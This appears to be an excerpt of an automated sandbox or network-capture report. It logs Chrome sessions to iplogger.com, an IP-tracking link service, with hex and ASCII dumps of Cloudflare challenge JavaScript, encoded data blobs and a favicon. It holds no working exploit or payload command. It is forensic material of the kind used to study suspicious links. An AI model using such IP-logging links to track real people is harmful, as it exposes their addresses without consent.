2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 77 45 70 2b 67 34 76 42 78 4d 48 4e 43 73 32 4c 42 6e 33 50 42 76 37 49 69 41 79 49 53 34 47 50 45 45 79 4f 77 49 6a 44 6b 41 38 49 79 46 51 56 44 55 50 46 42 45 77 55 31 41 53 52 54 4a 50 59 54 35 55 56 56 67 69 52 55 5a 70 4a 79 63 37 50 57 64 6e 50 46 68 46 63 69 6c 77 52 57 41 79 4c 6a 49 30 62 54 4a 64 63 6a 35 6f 4e 7a 39 58 65 48 63 39 57 59 5a 58 5a 46 61 4a 65 57 70 6d 54 32 69 44 58 57 6d 43 54 4a 61 4b 67 32 61 59 6b 34 68 6f 56 56 6d 41 57 35 78 75 6b 4a 32 50 71 4a 71 6b 66 6e 75 6c 62 47 5a 38 68 34 6d 45 64 48 2b 32 71 49 71 4d 6d 37 4f 63 6e 62 79 65 65 34 47 31 6b 58 32 56 67 36 2b 6b 6d 62 54 45 72 59 58 41 6e 36 76 48 75 37 75 67 6e 73 36 79 6b 38 6e 52 31 72 71 78 31 4c 53 7a 71 63 75 73 77 4c 6d 32 73 74 58 55 70 4e 71 6f 31 74 72 6a Data Ascii: wEp+g4vBxMHNCs2LBn3PBv7IiAyIS4GPEEyOwIjDkA8IyFQVDUPFBEwU1ASRTJPYT5UVVgiRUZpJyc7PWdnPFhFcilwRWAyLjI0bTJdcj5oNz9XeHc9WYZXZFaJeWpmT2iDXWmCTJaKg2aYk4hoVVmAW5xukJ2PqJqkfnulbGZ8h4mEdH+2qIqMm7Ocnbyee4G1kX2Vg6+kmbTErYXAn6vHu7ugns6yk8nR1rqx1LSzqcuswLm2stXUpNqo1trj
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 51 43 46 7a 48 32 50 44 59 33 49 43 68 43 4e 68 55 78 51 6a 38 76 52 45 56 44 51 30 78 47 52 7a 67 73 51 6a 41 30 4d 69 6c 53 51 42 68 49 4e 31 45 59 54 79 67 62 58 56 59 63 4c 55 49 33 5a 79 49 6c 4e 6c 68 68 4b 54 70 66 4b 57 41 78 5a 55 4a 6e 4e 57 56 57 64 46 5a 74 54 55 77 31 63 56 4d 79 54 57 34 2b 67 30 4e 32 57 31 5a 58 56 33 2b 44 62 6e 6d 41 58 59 5a 68 58 49 71 43 5a 5a 5a 50 67 57 6c 6c 64 70 31 34 63 58 71 4d 64 33 64 67 66 61 61 42 64 34 53 49 66 35 74 73 6e 61 36 4b 6d 6d 71 71 63 61 75 74 6f 4a 4b 74 74 59 79 74 73 5a 32 70 65 48 79 79 73 72 4f 45 77 59 4b 61 6c 37 79 47 79 4b 69 48 7a 38 32 2f 78 36 37 56 78 73 76 4b 79 62 57 71 6c 71 2b 6d 7a 35 6e 59 77 4e 4b 68 6d 37 57 78 6d 65 6a 59 78 2b 6d 70 36 72 66 65 78 38 71 2f 77 62 7a 4f 36 Data Ascii: QCFzH2PDY3IChCNhUxQj8vREVDQ0xGRzgsQjA0MilSQBhIN1EYTygbXVYcLUI3ZyIlNlhhKTpfKWAxZUJnNWVWdFZtTUw1cVMyTW4+g0N2W1ZXV3+DbnmAXYZhXIqCZZZPgWlldp14cXqMd3dgfaaBd4SIf5tsna6KmmqqcautoJKttYytsZ2peHyysrOEwYKal7yGyKiHz82/x67VxsvKybWqlq+mz5nYwNKhm7WxmejYx+mp6rfex8q/wbzO6
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 6e 46 2f 37 2b 41 51 77 67 4d 69 41 47 4d 54 6b 69 52 30 49 2b 4a 51 78 4e 4b 53 55 66 48 46 55 6d 4b 31 67 52 55 79 38 6d 50 46 51 72 58 6d 41 31 4c 79 78 50 4e 6a 74 6f 5a 6a 4d 35 59 32 74 58 54 57 64 71 55 32 78 41 5a 58 4d 31 5a 57 4d 34 61 55 35 6e 57 30 74 39 61 58 77 38 54 33 47 47 65 55 46 6e 66 55 4f 4b 69 6c 78 65 57 32 65 46 5a 6f 6c 6a 6b 34 46 6a 64 34 52 36 6c 58 32 58 6a 56 78 39 62 47 74 38 63 6e 42 68 64 6d 56 32 6e 4b 64 34 65 70 74 36 6f 5a 78 76 67 62 47 75 72 35 4e 31 67 6e 4a 75 66 4b 32 75 75 4d 43 65 74 73 47 50 66 62 75 5a 74 61 6d 6a 79 59 75 2b 7a 4b 69 77 73 73 6a 43 6f 63 71 69 31 5a 62 59 32 70 4c 4e 31 62 33 4d 74 73 2f 4d 74 4d 37 48 31 62 76 66 70 2b 69 6c 74 61 53 34 75 39 72 45 79 74 54 78 36 65 62 79 77 66 54 6e 79 2f Data Ascii: nF/7+AQwgMiAGMTkiR0I+JQxNKSUfHFUmK1gRUy8mPFQrXmA1LyxPNjtoZjM5Y2tXTWdqU2xAZXM1ZWM4aU5nW0t9aXw8T3GGeUFnfUOKilxeW2eFZoljk4Fjd4R6lX2XjVx9bGt8cnBhdmV2nKd4ept6oZxvgbGur5N1gnJufK2uuMCetsGPfbuZtamjyYu+zKiwssjCocqi1ZbY2pLN1b3Mts/MtM7H1bvfp+iltaS4u9rEytTx6ebywfTny/
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 52 52 6b 34 42 44 49 6b 4b 53 55 32 49 54 70 41 49 7a 78 55 4c 30 6f 31 4a 68 68 4d 47 43 59 55 4d 69 68 59 54 78 6b 65 50 56 64 56 58 44 46 6b 58 6c 73 6d 58 6a 5a 63 54 57 4a 50 58 79 38 2f 5a 45 68 7a 62 57 31 4e 57 55 52 5a 61 6f 42 64 67 47 4d 31 50 46 56 62 57 30 53 4b 68 32 6d 48 64 34 78 65 63 55 74 39 67 47 42 51 64 58 69 56 68 58 52 6b 57 45 2b 64 66 34 69 66 6a 33 53 4d 59 33 46 34 66 61 46 37 67 4b 56 73 6a 59 32 43 6e 57 74 72 6b 49 47 74 6f 6e 57 6a 73 70 75 73 6b 58 69 54 66 33 36 32 6a 70 4f 55 77 58 2f 43 70 37 4f 2f 76 38 69 68 6e 71 6d 79 75 39 43 6a 6e 71 71 50 77 4d 61 31 70 36 69 54 73 70 2f 4a 6f 4e 58 42 34 4f 50 51 35 74 75 37 33 4d 54 58 31 72 32 36 6f 75 48 45 37 73 66 75 76 2f 48 5a 74 4e 72 55 75 75 6a 66 38 73 37 35 31 63 4c Data Ascii: RRk4BDIkKSU2ITpAIzxUL0o1JhhMGCYUMihYTxkePVdVXDFkXlsmXjZcTWJPXy8/ZEhzbW1NWURZaoBdgGM1PFVbW0SKh2mHd4xecUt9gGBQdXiVhXRkWE+df4ifj3SMY3F4faF7gKVsjY2CnWtrkIGtonWjspuskXiTf362jpOUwX/Cp7O/v8ihnqmyu9CjnqqPwMa1p6iTsp/JoNXB4OPQ5tu73MTX1r26ouHE7sfuv/HZtNrUuujf8s751cL
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 55 55 2f 47 56 41 70 43 55 59 78 49 55 6b 54 44 31 4d 79 4a 56 4e 49 53 43 6c 63 50 79 6f 55 48 31 6c 50 57 32 41 79 4d 6c 6c 69 4f 6a 55 6e 61 79 39 52 5a 32 42 70 4b 30 6c 49 56 53 39 6b 57 6d 31 6d 57 57 74 73 65 6f 42 57 50 6f 41 2b 63 6e 53 44 67 48 4e 73 68 6e 31 4c 58 57 64 4f 55 31 4b 4d 69 48 64 6b 56 31 4e 38 6e 56 56 56 64 47 39 76 6e 35 2b 4d 6b 70 39 6e 6c 35 53 6d 6c 47 4b 6e 69 34 71 76 65 58 32 79 72 6f 70 79 6f 34 65 74 6f 6e 71 70 6c 71 2b 76 71 71 32 5a 6c 70 6d 4f 73 73 61 37 71 4c 4f 48 75 72 69 36 72 6f 4c 4c 6e 38 44 55 6f 74 4c 50 30 4c 6e 54 30 62 69 76 6c 4a 57 2f 79 74 50 51 72 61 50 63 73 38 54 62 70 37 71 34 7a 4d 71 75 71 62 32 38 77 36 61 76 79 72 54 68 36 2f 4c 47 30 64 7a 77 41 4e 33 4e 41 39 44 78 76 2f 44 46 75 76 76 79 Data Ascii: UU/GVApCUYxIUkTD1MyJVNISClcPyoUH1lPW2AyMlliOjUnay9RZ2BpK0lIVS9kWm1mWWtseoBWPoA+cnSDgHNshn1LXWdOU1KMiHdkV1N8nVVVdG9vn5+Mkp9nl5SmlGKni4qveX2yropyo4etonqplq+vqq2ZlpmOssa7qLOHuri6roLLn8DUotLP0LnT0bivlJW/ytPQraPcs8Tbp7q4zMquqb28w6avyrTh6/LG0dzwAN3NA9Dxv/DFuvvy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49729	104.21.76.57	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:05 UTC	411	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=9003850dd90e7d1a HTTP/1.1 Host: iplogger.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:05 UTC	867	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 98892 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BqcLk%2Fbf1y1%2Bf%2BqcqLgQXQnBCXiXDLFcvaSG5wzzhfRB6cjI4a%2FLIr7x0EENqrXLY7pWpDnjgNh2CRTdJ0Ono1XujusIqEDZxPLsrAI6SrhzaIAn3AEBEtzGFLxFl0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90038519fd878c30-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3344&min_rtt=1802&rtt_var=3589&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2803&recv_bytes=993&delivery_rate=1600877&cwnd=219&unsent_bytes=0&cid=bf2c0a9a530a1098&ts=215&x=0"
2025-01-11 08:26:05 UTC	502	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 6e 6f 74 25 32 30 61 63 63 65 73 73 69 62 6c 65 25 32 30 76 69 61 25 32 30 74 68 69 73 25 32 30 61 64 64 72 65 73 73 2e 22 2c 22 63 68 65 63 6b 5f 74 68 69 72 64 70 61 72 74 79 22 3a 22 50 6c 65 61 73 65 25 32 30 75 6e 62 6c 6f 63 6b 25 32 30 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 30 74 6f 25 32 30 70 72 6f 63 65 65 64 2e 22 2c 22 66 6f 6f 74 65 72 5f 74 65 78 74 22 3a 22 50 65 72 66 6f 72 6d 61 6e 63 65 25 32 30 25 32 36 61 6d 70 25 33 42 25 32 30 73 65 63 75 72 69 74 79 25 32 30 62 79 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 Data Ascii: not%20accessible%20via%20this%20address.","check_thirdparty":"Please%20unblock%20challenges.cloudflare.com%20to%20proceed.","footer_text":"Performance%20%26amp%3B%20security%20by%20Cloudflare","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20U
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 6c 70 65 72 5f 65 78 70 6c 61 69 6e 65 72 22 3a 22 49 66 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 73 74 75 63 6b 25 32 30 6f 6e 25 32 30 74 68 69 73 25 32 30 70 61 67 65 25 32 43 25 32 30 79 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 6f 72 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 66 6c 61 67 67 65 64 25 32 30 61 73 25 32 30 61 25 32 30 62 6f 74 2e 25 32 30 54 72 79 25 32 30 72 65 73 65 74 74 69 6e 67 25 32 30 79 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 6f 72 25 32 30 69 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 25 32 38 65 2e 67 2e 25 32 30 72 6f 75 74 65 72 25 32 39 2e 25 32 30 46 6f 72 25 32 30 61 64 64 69 74 69 6f 6e 61 6c 25 32 30 61 73 73 69 73 74 61 6e 63 65 25 32 43 Data Ascii: lper_explainer":"If%20you%20are%20stuck%20on%20this%20page%2C%20your%20device%20or%20connection%20has%20been%20flagged%20as%20a%20bot.%20Try%20resetting%20your%20device%20or%20internet%20connection%20%28e.g.%20router%29.%20For%20additional%20assistance%2C
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 30 76 65 72 69 66 69 63 61 74 69 6f 6e 2e 25 32 30 54 72 79 25 32 30 61 25 32 30 64 69 66 66 65 72 65 6e 74 25 32 30 62 72 6f 77 73 65 72 25 32 30 6f 72 25 32 30 6d 61 6b 65 25 32 30 73 75 72 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 75 70 64 61 74 65 64 25 32 30 74 6f 25 32 30 74 68 65 25 32 30 6e 65 77 65 73 74 25 32 30 76 65 72 73 69 6f 6e 2e 22 2c 22 69 6e 74 65 72 61 63 74 69 76 65 5f 72 75 6e 6e 69 6e 67 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 25 32 30 62 79 25 32 30 63 6f 6d 70 6c 65 74 69 6e 67 25 32 30 74 68 65 25 32 30 61 63 74 69 6f 6e 25 32 30 62 65 6c 6f 77 2e 22 2c 22 69 6e 74 65 72 73 74 69 74 69 61 6c 5f 68 65 6c 70 65 72 5f 65 78 70 6c 61 69 6e 65 72 22 3a Data Ascii: 0verification.%20Try%20a%20different%20browser%20or%20make%20sure%20your%20browser%20is%20updated%20to%20the%20newest%20version.","interactive_running":"Verify%20you%20are%20human%20by%20completing%20the%20action%20below.","interstitial_helper_explainer":
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 61 74 69 6f 6e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 46 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 50 2c 65 51 2c 65 Data Ascii: ation"},"polyfills":{"feedback_report_output_subtitle":false,"turnstile_feedback_description":false,"testing_only_always_pass":false,"turnstile_timeout":false,"turnstile_overrun_description":false},"rtl":false,"lang":"en-us"};~function(gF,eM,eN,eO,eP,eQ,e
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 72 4a 65 49 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 6d 51 77 67 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 70 4f 64 63 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 55 79 65 45 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 73 54 57 6d 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 42 50 77 58 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 43 68 74 63 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 Data Ascii: ':function(h,i){return i\|h},'rJeIA':function(h,i){return h\|i},'mQwgr':function(h,i){return h<<i},'pOdcA':function(h,i){return h-i},'UyeEm':function(h,i){return h(i)},'sTWmD':function(h,i){return h<<i},'BPwXY':function(h,i){return h-i},'ChtcU':function(h,i
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 34 39 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 49 28 31 33 38 38 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 67 49 28 36 39 36 29 5d 28 48 3c 3c 31 2e 31 37 2c 64 5b 67 49 28 31 32 30 38 29 5d 28 4d 2c 31 29 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 49 28 31 34 39 36 29 5d 28 64 5b 67 49 28 31 34 34 33 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 49 28 36 36 31 29 5d 28 64 5b 67 49 28 39 30 35 29 5d 28 48 2c 31 29 2c 4d 29 2c 64 5b 67 49 28 39 39 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 49 28 31 34 39 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 Data Ascii: 496)](o(H)),H=0):I++,s++);for(M=C[gI(1388)](0),s=0;8>s;H=d[gI(696)](H<<1.17,d[gI(1208)](M,1)),I==j-1?(I=0,G[gI(1496)](d[gI(1443)](o,H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=d[gI(661)](d[gI(905)](H,1),M),d[gI(995)](I,j-1)?(I=0,G[gI(1496)](o(H)),H=0)
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 34 32 31 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 49 28 31 34 39 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 64 5b 67 49 28 39 35 30 29 5d 28 30 2c 44 29 26 26 46 2b 2b 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 49 28 31 34 31 36 29 5d 28 48 3c 3c 31 2e 32 36 2c 64 5b 67 49 28 39 37 30 29 5d 28 4d 2c 31 29 29 2c 64 5b 67 49 28 39 39 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 49 28 31 34 39 36 29 5d 28 64 5b 67 49 28 31 34 34 33 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 6a 2d 31 3d 3d 49 29 7b 47 5b 67 49 28 31 34 39 36 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d Data Ascii: 421)](j,1)?(I=0,G[gI(1496)](o(H)),H=0):I++,M>>=1,s++);D--,d[gI(950)](0,D)&&F++}for(M=2,s=0;s<F;H=d[gI(1416)](H<<1.26,d[gI(970)](M,1)),d[gI(995)](I,j-1)?(I=0,G[gI(1496)](d[gI(1443)](o,H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,j-1==I){G[gI(1496)](o(H));break}
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 5b 67 4c 28 34 35 35 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 67 4c 28 31 31 35 39 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 4c 28 37 38 37 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4d 3d 64 5b 67 4c 28 34 30 30 29 5d 28 42 2c 31 29 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 67 4c 28 37 36 36 29 5d 28 27 27 29 7d 69 66 28 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 67 4c 28 37 36 35 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4d 5d 29 4d 3d 73 5b 4d 5d 3b 65 6c 73 65 20 69 66 28 4d 3d 3d 3d 42 29 4d 3d 45 2b 45 5b 67 4c 28 31 34 32 39 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e Data Ascii: [gL(455)](F,K);L=H&G,H>>=1,d[gL(1159)](0,H)&&(H=j,G=o(I++)),J\|=d[gL(787)](0<L?1:0,F),F<<=1);s[B++]=e(J),M=d[gL(400)](B,1),x--;break;case 2:return D[gL(766)]('')}if(x==0&&(x=Math[gL(765)](2,C),C++),s[M])M=s[M];else if(M===B)M=E+E[gL(1429)](0);else return n
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 36 29 2c 6f 5b 67 50 28 34 32 37 29 5d 28 69 2c 44 29 29 3f 6f 5b 67 50 28 37 33 39 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 67 50 28 31 33 38 32 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 52 2c 49 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 67 52 3d 67 50 2c 49 3d 7b 27 73 4e 55 6c 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 4a 2c 4b 2c 67 51 29 7b 72 65 74 75 72 6e 20 67 51 3d 62 2c 6f 5b 67 51 28 37 35 30 29 5d 28 4a 2c 4b 29 7d 7d 2c 6f 5b 67 52 28 31 34 31 38 29 5d 28 6f 5b 67 52 28 31 32 32 34 29 5d 2c 67 52 28 31 34 34 37 29 29 29 7b 66 6f 72 28 48 2b 3d 27 3d 27 2c 4b 3d 47 5b 67 52 28 31 33 37 36 29 5d 5b 67 52 28 39 33 30 29 5d 28 27 Data Ascii: 6),o[gP(427)](i,D))?o[gP(739)](s,i+D,E):F\|\|o[gP(1382)](s,i+D,h[D])):s(i+D,E),C++);return j;function s(G,H,gR,I,K,L,M){if(gR=gP,I={'sNUlO':function(J,K,gQ){return gQ=b,o[gQ(750)](J,K)}},o[gR(1418)](o[gR(1224)],gR(1447))){for(H+='=',K=G[gR(1376)][gR(930)]('

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49730	172.67.188.178	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:05 UTC	858	OUT	GET /favicon.ico HTTP/1.1 Host: iplogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://iplogger.com/15PRC4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:05 UTC	1091	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:05 GMT Content-Type: image/x-icon Content-Length: 2833 Connection: close last-modified: Tue, 07 Jun 2022 11:44:38 GMT etag: "629f3a26-b11" strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1910 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y3RhqJv%2ByU5cXQTug2SAVPU7vXIW8%2B0zzNwjpVIJ19hOsVGQ1%2Fc0kq%2F0W%2FuI3lGeuw6aHt5IiSddOWgsyZSWPl6vpvtfbOTVykV9%2BN0XZVJFQH4RcG19jK0G0yFckLA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90038519fc4841d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4332&min_rtt=1712&rtt_var=5721&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2804&recv_bytes=1440&delivery_rate=1668571&cwnd=239&unsent_bytes=0&cid=33a601ab1c5e86a2&ts=210&x=0"
2025-01-11 08:26:05 UTC	278	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 0a d8 49 44 41 54 78 9c dd 9b 7f 8c db 65 1d c7 5f 4f 73 6d 97 cb 85 bb 2c 75 59 96 73 59 49 9d 77 c7 24 c8 0c d1 8d 8e 1f 0a 0c b0 18 98 3a 56 6a 44 c6 cf 21 82 80 01 6f 25 86 ac 14 f9 35 24 82 0a a2 a0 d6 ca cf 09 96 20 28 99 93 3b 7e 38 06 22 ce eb c4 ba ce cb b2 10 68 2e bb cb 72 b9 5e 2f 7d fc e3 f3 7c d7 de 71 6d bf 4f af 77 18 df 49 f3 6d da ef e7 f9 3e cf e7 79 3e bf 3f 5f c5 02 c1 9b ce 3b 5f 3d c0 62 80 52 34 58 88 e5 34 c0 32 e0 88 f9 94 53 21 b5 50 d3 a2 6d 3e 07 f7 a6 f3 1d c0 2a 60 0d b0 1a e8 01 96 03 ed 40 1a b8 cc cc e1 4f 08 13 c6 80 5c 2c a7 f7 01 6f 00 83 40 2e 15 52 53 f3 35 c7 96 33 c0 9b ce b7 03 eb 81 4d c0 a9 40 a0 c6 ad 9e aa Data Ascii: PNGIHDR@@iqIDATxe_Osm,uYsYIw$:VjD!o%5$ 